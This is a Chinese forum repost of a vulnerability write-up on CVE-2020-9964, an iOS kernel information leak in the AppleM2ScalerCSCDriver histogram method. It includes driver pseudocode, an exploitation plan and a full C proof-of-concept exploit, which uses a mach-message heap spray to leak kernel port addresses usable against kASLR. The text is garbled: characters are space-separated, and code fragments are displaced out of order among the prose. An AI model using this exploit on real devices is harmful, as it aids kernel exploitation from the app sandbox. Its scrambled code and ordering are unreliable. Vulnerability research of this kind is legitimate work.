搜索

[2232] 2020-12-23_CVE-2020-9964-iOS信息泄漏

文档创建者：s7ckTeam
浏览次数：29
最后更新：2025-01-16
2020-12-23_CVE-2020-9964-iOS信息泄漏 C V E - 2 0 2 0 - 9 9 6 4 - i O S 信 息 泄 漏 原 创   M u i r e y 0 3   E D I 安 全   2 0 2 0 - 1 2 - 2 3 i O S   1 4 现 已 向 公 众 开 放 ， 并 附 带 了 i O S   1 4 . 0 安 全 内 容 更 新 。 您 将 看 到 的 其 中 一 个 漏 洞 是 C V E - 2 0 2 0 - 9 9 6 4 ， 这 是 I O S u r f a c e A c c e l e r a t o r 中 的 一 个 漏 洞 ， 也 是 我 的 第 一 个 信 息 泄 漏 : ) 我 （ @   M u i r e y 0 3 ） 和 M o h a m e d G h a n n a m （ @   _ s i m o 3 6 ） 都 被 发 现 了 此 漏 洞 。 如 果 我 发 现 有 更 多 知 道 这 一 点 的 人 ， 我 将 不 会 感 到 惊 讶 。 A p p l e 将 此 错 误 的 影 响 描 述 为 “ 本 地 用 户 可 能 能 够 读 取 内 核 内 存 ” ， 并 在 描 述 中 将 其 称 为 “ 内 存 初 始 化 问 题 ” ， 那 么 该 错 误 是 什 么 ？ I O S u r f a c e A c c e l e r a t o r C l i e n t   : :   u s e r _ g e t _ h i s t o g r a m I O S u r f a c e A c c e l e r a t o r C l i e n t 是 A p p l e M 2 S c a l e r C S C D r i v e r   I O S e r v i c e 的 用 户 客 户 端 ， 并 且 是 可 以 从 “ 应 用 程 序 沙 箱 ” 中 打 开 的 少 数 几 个 用 户 客 户 端 之 一 。 我 们 对 该 用 户 客 户 端 上 的 一 种 特 定 外 部 方 法 作 为 其 外 部 方 法 ， 这 就 是 方 法 9 的 I O E x t e r n a l M e t h o d 描 述 符 的 样 子 ： 从 中 我 们 可 以 看 到 u s e r _ g e t _ h i s t o g r a m 仅 占 用 8 个 字 节 的 输 入 数 据 ， 并 且 不 返 回 任 何 内 容 作 为 输 出 数 据 ， 因 此 让 我 们 看 一 下 实 现 。 这 是 我 注 释 的 伪 代 码 ： 从 中 我 们 可 以 看 到 ， 结 构 输 入 的 8 个 字 节 旨 在 用 作 用 户 空 间 指 针 ， 可 对 其 进 行 读 写 。 实 际 上 ， g e t _ h i s t o g r a m 调 用 到 g e t _ h i s t o g r a m _ g a t e d ， 如 下 所 示 ： 我 们 看 到 c l i e n t - >   h i s t o g r a m B u f f e r 被 写 回 到 用 户 空 间 ， 所 以 现 在 的 问 题 是 ， c l i e n t - >   h i s t o g r a m B u f f e r 是 什 么 ？ 它 在 哪 里 初 始 化 ， 在 哪 里 填 充 ？ I O S u r f a c e A c c e l e r a t o r C l i e n t : : h i s t o g r a m B u f f e r 这 个 问 题 的 答 案 最 终 是 （ 方 法 9 ， I O S u r f a c e A c c e l e r a t o r C l i e n t   : :   u s e r _ g e t _ h i s t o g r a m ） 感 兴 趣 。 I O S u r f a c e A c c e l e r a t o r C l i e n t 使 用 旧 版 I O U s e r C l i e n t   : :   g e t T a r g e t A n d M e t h o d F o r I n d e x {         I O S u r f a c e A c c e l e r a t o r C l i e n t : : u s e r _ g e t _ h i s t o g r a m ,         k I O U C S t r u c t I S t r u c t O ,         0 x 8 ,         0 x 0 } I O R e t u r n   I O S u r f a c e A c c e l e r a t o r C l i e n t : : u s e r _ g e t _ h i s t o g r a m ( I O S u r f a c e A c c e l e r a t o r C l i e n t   * t h i s ,   v o i d   * i n p u t ,   u i n t 6 4 _ t   i n p u t S i z e ) {     I O R e t u r n   r e s u l t ;     i f   ( t h i s - > c a l l e d F r o m K e r n e l )     {         . . .     }     e l s e     {         I O M e m o r y D e s c r i p t o r   * m e m D e s c   =   I O M e m o r y D e s c r i p t o r : : w i t h A d d r e s s R a n g e ( * ( m a c h _ v m _ a d d r e s s _ t   * ) i n p u t ,   t h i s - > h i s t o g r a m S i z e ,   k I O D i r e c t i o n O u t I n ,   t h i s - > t a s k ) ;         i f   (   m e m D e s c   )         {             r e t   =   m e m D e s c - > p r e p a r e ( k I O D i r e c t i o n N o n e ) ;             i f   ( r e t )             {                 . . .             }             e l s e             {                 r e t   =   A p p l e M 2 S c a l e r C S C D r i v e r : : g e t _ h i s t o g r a m ( t h i s - > f O w n e r ,   t h i s ,   m e m D e s c ) ;                 m e m D e s c - > c o m p l e t e ( k I O D i r e c t i o n N o n e ) ;             }             m e m D e s c - > r e l e a s e ( ) ;         }         e l s e         {             r e t   =   k I O R e t u r n N o M e m o r y ;         }     }     r e t u r n   r e t ; } A p p l e M 2 S c a l e r C S C D r i v e r   : :   g e t _ h i s t o g r a m ` I O R e t u r n   A p p l e M 2 S c a l e r C S C D r i v e r : : g e t _ h i s t o g r a m _ g a t e d ( A p p l e M 2 S c a l e r C S C D r i v e r   * t h i s ,   I O S u r f a c e A c c e l e r a t o r C l i e n t   * c l i e n t ,   I O M e m o r y D e s c r i p t o r   * m e m D e s c ) {     I O R e t u r n   r e s u l t ;     i f   (   m e m D e s c - > w r i t e B y t e s ( 0 ,   c l i e n t - > h i s t o g r a m B u f f e r ,   c l i e n t - > h i s t o g r a m S i z e )   = =   c l i e n t - > h i s t o g r a m S i z e   )         r e s u l t   =   k I O R e t u r n S u c c e s s ;     e l s e         r e s u l t   =   k I O R e t u r n I O E r r o r ;     r e t u r n   r e s u l t ; } I O S u r f a c e A c c e l e r a t o r C l i e n t   : :   i n i t C l i e n t ，
它 看 起 来 像 这 样 ： 这 是 可 疑 的 。 h i s t o g r a m B u f f e r 已 分 配 但 未 填 充 ， 并 且 I O M a l l o c 不 会 将 内 存 归 零 ， 从 而 使 h i s t o g r a m B u f f e r 完 全 未 初 始 化 。 正 是 在 这 一 点 上 ， 我 尝 试 为 我 自 己 调 用 该 方 法 ， 但 没 有 人 感 到 惊 讶 ， 发 现 自 己 在 看 很 多 0 x d e a d b e e f ， 这 是 未 初 始 化 内 存 的 典 型 标 志 。 “ 开 发 开 发 ” 我 们 正 在 将 未 初 始 化 的 内 存 泄 漏 回 用 户 空 间 ， 但 是 我 们 该 怎 么 办 ？ 像 这 样 的 信 息 泄 漏 自 身 相 对 而 言 是 无 害 的 ， 但 是 在 利 用 其 他 内 存 损 坏 问 题 时 有 时 是 必 不 可 少 的 。 进 行 漏 洞 利 用 的 一 个 常 见 要 求 是 找 到 马 赫 端 口 地 址 ， 因 此 这 是 我 进 行 漏 洞 利 用 的 目 标 ， 但 值 得 一 提 的 是 ， 该 漏 洞 也 可 以 用 来 击 败 k A S L R 。 我 为 此 漏 洞 利 用 选 择 的 目 标 分 配 是 m a c h 消 息 脱 机 端 口 阵 列 。 发 送 马 赫 消 息 时 ， 可 以 选 择 将 消 息 标 记 为 “ 复 杂 ” 。 这 告 诉 内 核 ， 标 头 后 面 的 不 是 原 始 数 据 ， 而 是 一 个 “ 主 体 ” ， 后 跟 与 消 息 一 起 发 送 的 描 述 符 。 这 些 描 述 符 之 一 是 m a c h _ m s g _ o o l _ p o r t s _ d e s c r i p t o r _ t ， 这 是   一 组 插 入 到 接 收 任 务 中 的 离 线 端 口 权 限 。 内 核 通 过 创 建 一 个 缓 冲 区 来 处 理 这 些 O O L 端 口 ， 该 缓 冲 区 包 含 一 个 在 消 息 发 送 时 指 向 数 组 中 每 个 端 口 的 指 针 ， 并 在 收 到 消 息 后 释 放 该 缓 冲 区 （ 有 关 此 代 码 ， 请 参 见 i p c _ k m s g _ c o p y i n _ o o l _ p o r t s _ d e s c r i p t o r ， 如 果 您 感 兴 趣 ， 则 为 “ 非 常 复 杂 ， 太 长 了 ， 无 法 在 此 处 粘 贴 ） 。 这 对 我 们 来 说 是 完 美 的 ！ 我 们 可 以 使 用 它 来 触 发 任 何 大 小 的 内 核 分 配 ， 其 中 包 含 我 们 要 读 取 的 确 切 数 据 （ 马 赫 端 口 指 针 ） ， 并 且 我 们 可 以 在 任 何 时 候 完 全 确 定 地 释 放 它 。 高 级 漏 洞 利 用 流 程 高 级 漏 洞 利 用 流 程 因 此 ， 我 的 漏 洞 利 用 计 划 如 下 所 示 ： 1 .   发 送 一 些 消 息 ， 其 O O L 端 口 数 组 的 大 小 与 c l i e n t - >   h i s t o g r a m S i z e 相 同 2 .   通 过 接 收 消 息 释 放 这 些 阵 列 3 .   打 开 一 个 I O S u r f a c e A c c e l e r a t o r C l i e n t 连 接 ， 分 配 h i s t o g r a m B u f f e r ， 它 现 在 应 该 与 这 些 空 闲 端 口 数 组 之 一 重 叠 4 .   调 用 外 部 方 法 9 ， 将 端 口 指 针 读 回 到 用 户 空 间 5 .   利 润 在 我 的 设 备 上 ， c l i e n t - >   h i s t o g r a m S i z e 为 0 x 3 0 0 ， 这 意 味 着 我 的 端 口 阵 列 的 长 度 必 须 为 9 6 个 端 口 。 我 选 择 发 送 0 x 8 0 消 息 ， 但 这 是 我 凭 空 提 出 的 一 个 完 全 任 意 的 数 字 ， 不 要 过 多 看 它 。 漏 洞 利 用 漏 洞 利 用 最 终 的 利 用 如 下 ： b o o l   I O S u r f a c e A c c e l e r a t o r C l i e n t : : i n i t C l i e n t ( I O S u r f a c e A c c e l e r a t o r C l i e n t   * t h i s ,   A p p l e M 2 S c a l e r C S C D r i v e r   * o w n e r ,   i n t   t y p e ,   A p p l e M 2 S c a l e r C S C H a l   * h a l ) {     . . .     i f   (   . . .   )     {         . . .         i f   (   . . .   )         {             s i z e _ t   b u f f e r S i z e   =   . . . ;             t h i s - > h i s t o g r a m S i z e   =   b u f f e r S i z e ;             t h i s - > h i s t o g r a m B u f f e r   =   ( v o i d   * ) I O M a l l o c ( b u f f e r S i z e ) ;             I O A s y n c h r o n o u s S c h e d u l e r   * s c h e d u l e r   =   I O A s y n c h r o n o u s S c h e d u l e r : : i o A s y n c h r o n o u s S c h e d u l e r ( 0 ) ;             t h i s - > s c h e d u l e r   =   s c h e d u l e r ;             i f   (   s c h e d u l e r   )                 r e t u r n   t r u e ;             . . .         }         e l s e         {             . . .         }     }     e l s e     {         . . .     }     t h i s - > s t o p C l i e n t ( ) ;     r e t u r n   f a l s e ; } # i n c l u d e   < s t d l i b . h > # i n c l u d e   < a s s e r t . h > # i n c l u d e   < s t d i o . h > # i n c l u d e   < m a c h / m a c h . h > # i n c l u d e   < I O K i t / I O K i t L i b . h > # i f   0 A p p l e M 2 S c a l e r C S C D r i v e r   I n f o l e a k : I O S u r f a c e A c c e l e r a t o r C l i e n t : : u s e r _ g e t _ h i s t o g r a m   t a k e s   a   u s e r s p a c e   p o i n t e r   a n d   w r i t e s   h i s t o g r a m   d a t a   b a c k   t o   t h a t   a d d r e s s . I O S u r f a c e A c c e l e r a t o r C l i e n t : : i n i t C l i e n t   a l l o c a t e s   t h i s   h i s t o g r a m   b u f f e r ,   b u t   d o e s   n o t   z e r o   t h e   m e m o r y . W h e n   t h e   e x t e r n a l   m e t h o d   I O S u r f a c e A c c e l e r a t o r C l i e n t : : u s e r _ g e t _ h i s t o g r a m   i s   c a l l e d ,   t h i s   u n i n i t i a l i s e d   m e m o r y   i s   t h e n   s e n t   b a c k   t o   u s e r s p a c e . T h i s   v u l n e r a b i l i t y   i s   r e a c h a b l e   f r o m   w i t h i n   t h e   a p p   s a n d b o x   o n   i O S . B e l o w   i s   a   p r o o f - o f - c o n c e p t   e x p l o i t   w h i c h   u t i l i s e s   t h i s   v u l n e r a b i l i t y   t o   l e a k   t h e   a d d r e s s   o f   a n y   m a c h   p o r t   t h a t   t h e   c a l l i n g   p r o c e s s   h o l d s   a   s e n d - r i g h t   t o . O t h e r   k e r n e l   o b j e c t   a d d r e s s e s   c a n   b e   o b t a i n e d   u s i n g   t h i s   v u l n e r a b i l i t y   i n   s i m i l a r   w a y s . # e n d i f # d e f i n e   A S S E R T _ K R ( k r )   d o   {       i f   ( k r   ! =   K E R N _ S U C C E S S )   {           f p r i n t f ( s t d e r r ,   " k r :   % s   ( 0 x % x ) n " ,   m a c h _ e r r o r _ s t r i n g ( k r ) ,   k r ) ;           e x i t ( E X I T _ F A I L U R E ) ;  
    }   }   w h i l e ( 0 ) # d e f i n e   L E A K _ S I Z E   0 x 3 0 0 # d e f i n e   S P R A Y _ C O U N T   0 x 8 0 m a c h _ p o r t _ t   c r e a t e _ p o r t ( v o i d ) {     m a c h _ p o r t _ t   p   =   M A C H _ P O R T _ N U L L ;     m a c h _ p o r t _ a l l o c a t e ( m a c h _ t a s k _ s e l f ( ) ,   M A C H _ P O R T _ R I G H T _ R E C E I V E ,   & p ) ;     m a c h _ p o r t _ i n s e r t _ r i g h t ( m a c h _ t a s k _ s e l f ( ) ,   p ,   p ,   M A C H _ M S G _ T Y P E _ M A K E _ S E N D ) ;     r e t u r n   p ; } i o _ c o n n e c t _ t   o p e n _ c l i e n t ( c o n s t   c h a r *   s e r v i c e N a m e ,   u i n t 3 2 _ t   t y p e ) {     i o _ c o n n e c t _ t   c l i e n t   =   M A C H _ P O R T _ N U L L ;     i o _ s e r v i c e _ t   s e r v i c e   =   I O S e r v i c e G e t M a t c h i n g S e r v i c e ( k I O M a s t e r P o r t D e f a u l t ,   I O S e r v i c e M a t c h i n g ( s e r v i c e N a m e ) ) ;     a s s e r t ( s e r v i c e   ! =   M A C H _ P O R T _ N U L L ) ;     I O S e r v i c e O p e n ( s e r v i c e ,   m a c h _ t a s k _ s e l f ( ) ,   t y p e ,   & c l i e n t ) ;     a s s e r t ( c l i e n t   ! =   M A C H _ P O R T _ N U L L ) ;     I O O b j e c t R e l e a s e ( s e r v i c e ) ;     r e t u r n   c l i e n t ; } v o i d   p u s h _ t o _ f r e e l i s t ( m a c h _ p o r t _ t   p o r t ) {         u i n t 3 2 _ t   p o r t C o u n t   =   L E A K _ S I Z E   /   s i z e o f ( v o i d * ) ;     s t r u c t   {         m a c h _ m s g _ h e a d e r _ t   h e a d e r ;         m a c h _ m s g _ b o d y _ t   b o d y ;         m a c h _ m s g _ o o l _ p o r t s _ d e s c r i p t o r _ t   o o l _ p o r t s ;     }   m s g   =   { { 0 } } ;     m a c h _ p o r t _ t *   p o r t s   =   ( m a c h _ p o r t _ t * ) m a l l o c ( p o r t C o u n t   *   s i z e o f ( m a c h _ p o r t _ t ) ) ;     f o r   ( u i n t 3 2 _ t   i   =   0 ;   i   <   p o r t C o u n t ;   i + + )         p o r t s [ i ]   =   p o r t ;         s i z e _ t   m s g S i z e   =   s i z e o f ( m s g ) ;     m s g . h e a d e r . m s g h _ b i t s   =   M A C H _ M S G H _ B I T S _ S E T ( M A C H _ M S G _ T Y P E _ M A K E _ S E N D ,   0 ,   0 ,   M A C H _ M S G H _ B I T S _ C O M P L E X ) ;     m s g . h e a d e r . m s g h _ s i z e   =   m s g S i z e ;     m s g . h e a d e r . m s g h _ i d   =   ' O O L P ' ;     m s g . b o d y . m s g h _ d e s c r i p t o r _ c o u n t   =   1 ;     m s g . o o l _ p o r t s . t y p e   =   M A C H _ M S G _ O O L _ P O R T S _ D E S C R I P T O R ;     m s g . o o l _ p o r t s . a d d r e s s   =   ( v o i d * ) p o r t s ;     m s g . o o l _ p o r t s . c o u n t   =   p o r t C o u n t ;     m s g . o o l _ p o r t s . d e a l l o c a t e   =   f a l s e ;     m s g . o o l _ p o r t s . c o p y   =   M A C H _ M S G _ P H Y S I C A L _ C O P Y ;     m s g . o o l _ p o r t s . d i s p o s i t i o n   =   M A C H _ M S G _ T Y P E _ M A K E _ S E N D ;     m a c h _ p o r t _ t   r c v P o r t s [ S P R A Y _ C O U N T ] ;     f o r   ( u i n t 3 2 _ t   i   =   0 ;   i   <   S P R A Y _ C O U N T ;   i + + )     {         m a c h _ p o r t _ t   r c v P o r t   =   c r e a t e _ p o r t ( ) ;         r c v P o r t s [ i ]   =   r c v P o r t ;         m s g . h e a d e r . m s g h _ r e m o t e _ p o r t   =   r c v P o r t ;         / / t r i g g e r   k e r n e l   a l l o c a t i o n   o f   p o r t   a r r a y :         k e r n _ r e t u r n _ t   k r   =   m a c h _ m s g ( & m s g . h e a d e r ,   M A C H _ S E N D _ M S G   |   M A C H _ M S G _ O P T I O N _ N O N E ,   ( m a c h _ m s g _ s i z e _ t ) m s g S i z e ,   0 ,   M A C H _ P O R T _ N U L L ,   M A C H _ M S G _ T I M E O U T _ N O N E ,   M A C H _ P O R T _ N U L L ) ;         A S S E R T _ K R ( k r ) ;     }     f o r   ( u i n t 3 2 _ t   i   =   1 ;   i   <   S P R A Y _ C O U N T ;   i + + )         m a c h _ p o r t _ d e s t r o y ( m a c h _ t a s k _ s e l f ( ) ,   r c v P o r t s [ i ] ) ;     f r e e ( ( v o i d * ) p o r t s ) ; } / / T h e   a c t u a l   v u l n e r a b i l i t y : v o i d   l e a k _ b y t e s ( v o i d *   b u f f e r ) {     i o _ c o n n e c t _ t   c l i e n t   =   o p e n _ c l i e n t ( " A p p l e M 2 S c a l e r C S C D r i v e r " ,   0 ) ;     k e r n _ r e t u r n _ t   k r   =   I O C o n n e c t C a l l S t r u c t M e t h o d ( c l i e n t ,   9 ,   ( u i n t 6 4 _ t * ) & b u f f e r ,   8 ,   N U L L ,   N U L L ) ;     A S S E R T _ K R ( k r ) ;     I O S e r v i c e C l o s e ( c l i e n t ) ; } u i n t 6 4 _ t   f i n d _ p o r t _ a d d r ( m a c h _ p o r t _ t   p o r t ) {     u i n t 6 4 _ t *   l e a k   =   ( u i n t 6 4 _ t * ) m a l l o c ( L E A K _ S I Z E ) ;     p r i n t f ( " P r e p a r i n g   h e a p n " ) ;
我 发 现 此 漏 洞 利 用 程 序 的 成 功 率 接 近 1 0 0 ％ ， 几 乎 无 法 检 测 到 任 何 故 障 ， 从 而 使 漏 洞 利 用 程 序 可 以 继 续 运 行 直 到 成 功 为 止 。 注 ： 注 ： 我 被 告 知 ， 此 漏 洞 的 可 利 用 性 受 到 i O S   1 4 堆 分 离 的 影 响 。 我 对 i O S   1 4 中 所 做 的 更 改 了 解 不 足 以 确 认 这 一 点 ， 但 是 在 查 看 将 来 未 初 始 化 的 内 存 泄 漏 时 ， 绝 对 需 要 考 虑 这 一 点 。 E D I 安 全 安 全 一 个 专 注 渗 透 实 战 经 验 分 享 的 公 众 号     p r i n t f ( " P r e p a r i n g   h e a p n " ) ;     p u s h _ t o _ f r e e l i s t ( p o r t ) ;     p r i n t f ( " L e a k i n g   0 x % z x   b y t e s n " ,   ( s i z e _ t ) L E A K _ S I Z E ) ;     l e a k _ b y t e s ( l e a k ) ;     u i n t 6 4 _ t   a d d r   =   l e a k [ 1 ] ;     f r e e ( l e a k ) ;     r e t u r n   a d d r ; } i n t   m a i n ( i n t   a r g c ,   c h a r *   a r g v [ ] ,   c h a r *   e n v p [ ] ) {     m a c h _ p o r t _ t   p o r t   =   c r e a t e _ p o r t ( ) ;     u i n t 6 4 _ t   p o r t _ a d d r   =   f i n d _ p o r t _ a d d r ( p o r t ) ;     p r i n t f ( " L e a k e d   p o r t   a d d r e s s :   % p n " ,   ( v o i d * ) p o r t _ a d d r ) ;     r e t u r n   0 ; } 扫 二 维 码 ｜ 关 注 我 们 扫 二 维 码 ｜ 关 注 我 们
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理